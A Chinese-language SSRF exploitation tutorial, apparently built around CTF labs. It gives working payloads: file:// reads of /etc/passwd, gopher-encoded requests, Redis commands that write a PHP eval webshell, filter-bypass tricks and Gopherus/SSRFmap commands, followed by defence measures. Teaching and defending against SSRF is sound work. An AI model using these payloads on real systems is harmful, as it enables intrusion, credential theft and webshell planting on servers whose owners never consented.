浅析SSRF的各种利用方式
字数 1448 2025-08-29 08:32:19
SSRF漏洞全面分析与利用指南
一、SSRF基础概念
SSRF (Server-Side Request Forgery) 服务端请求伪造漏洞,是指攻击者能够通过服务器发起任意网络请求的一种安全漏洞。当服务端提供了从其他服务器获取数据的功能,但未对目标地址做严格过滤时,攻击者可构造恶意请求访问内网服务或本地资源。
漏洞成因
- 服务端未对用户提供的URL进行充分验证和过滤
- 服务器能够发起网络请求并返回响应数据
- 攻击者可控制请求的目标地址
常见危险函数
file_get_contents()- 将文件或URL内容读入字符串readfile()- 输出文件内容fsockopen()- 打开网络或Unix套接字连接curl_exec()- 执行cURL会话fopen()- 打开文件或URL
二、SSRF利用协议分析
1. HTTP协议
用途:访问内网Web服务,读取敏感信息
?url=http://127.0.0.1/flag.php
2. DICT协议
用途:探测内网主机存活和端口开放情况
?url=dict://127.0.0.1:6379/info # 探测Redis服务
3. FILE协议
用途:读取服务器本地文件
?url=file:///etc/passwd
?url=file:///var/www/html/config.php
4. GOPHER协议
用途:构造任意协议请求,攻击内网服务
特点:
- 可构造GET/POST请求
- 回车换行需使用
%0d%0a - 参数间的
&需URL编码
示例 - 构造POST请求:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0a
Host:%20127.0.0.1%0d%0a
Content-Type:%20application/x-www-form-urlencoded%0d%0a
Content-Length:%2036%0d%0a
%0d%0a
key=c384d200658f258e5b5c681bf0aa29a8%0d%0a
5. FastCGI协议
用途:攻击PHP-FPM服务(默认端口9000)
利用步骤:
- 使用工具生成攻击payload
- 编码后通过SSRF发送
python gopherus.py --exploit fastcgi /var/www/html/index.php
6. Redis协议
用途:攻击未授权Redis服务(默认端口6379)
攻击方式:
- 写入Webshell
- 写入SSH公钥
- 主从复制RCE
Redis命令示例:
flushall
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
三、SSRF绕过技术
1. URL绕过
场景:要求URL包含特定域名
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
?url=http://notfound.ctfhub@127.0.0.1/flag.php.com
2. 数字IP绕过
场景:过滤点分十进制IP
?url=http://0x7f.0.0.1/flag.php # 十六进制
?url=http://0177.0.0.1/flag.php # 八进制
?url=http://2130706433/flag.php # 十进制
?url=http://0/flag.php # 短地址
3. 302跳转绕过
场景:IP地址被过滤
- 在可控服务器设置302跳转
<?php header("Location: http://127.0.0.1/flag.php"); ?>
- 通过SSRF访问跳转页面
4. DNS重绑定
原理:利用DNS解析变化绕过IP检查
- 使用DNS重绑定服务(如rebinder.xyz)
- 域名首次解析为外网IP通过检查
- 后续解析为127.0.0.1实现内网访问
四、自动化利用工具
Gopherus
功能:生成各种协议的SSRF攻击payload
# FastCGI攻击
python gopherus.py --exploit fastcgi /var/www/html/index.php
# Redis攻击
python gopherus.py --exploit redis
SSRFmap
功能:自动化SSRF漏洞扫描和利用
python ssrfmap.py -r data/request.txt -p url -m portscan
五、防御措施
-
输入验证:
- 白名单域名/IP
- 禁止内网IP段(127.0.0.0/8, 10.0.0.0/8等)
-
协议限制:
- 仅允许HTTP/HTTPS
- 禁用file、gopher、dict等危险协议
-
网络层防护:
- 禁止服务器访问非必要内网服务
- 设置网络访问控制列表(ACL)
-
其他措施:
- 禁用CURLOPT_FOLLOWLOCATION
- 设置CURLOPT_PROTOCOLS限制协议
- 启用DNS缓存防止重绑定
六、实战利用思路
-
信息收集:
- 使用file协议读取配置文件
- 通过http/dict探测内网服务
-
服务识别:
- 端口扫描识别Redis/MySQL/FastCGI等服务
-
漏洞利用:
- Redis未授权→写Webshell/SSH key
- FastCGI→PHP代码执行
- MySQL→文件读取/写入
-
权限提升:
- 读取敏感文件(/etc/passwd, ~/.ssh/)
- 利用服务漏洞获取更高权限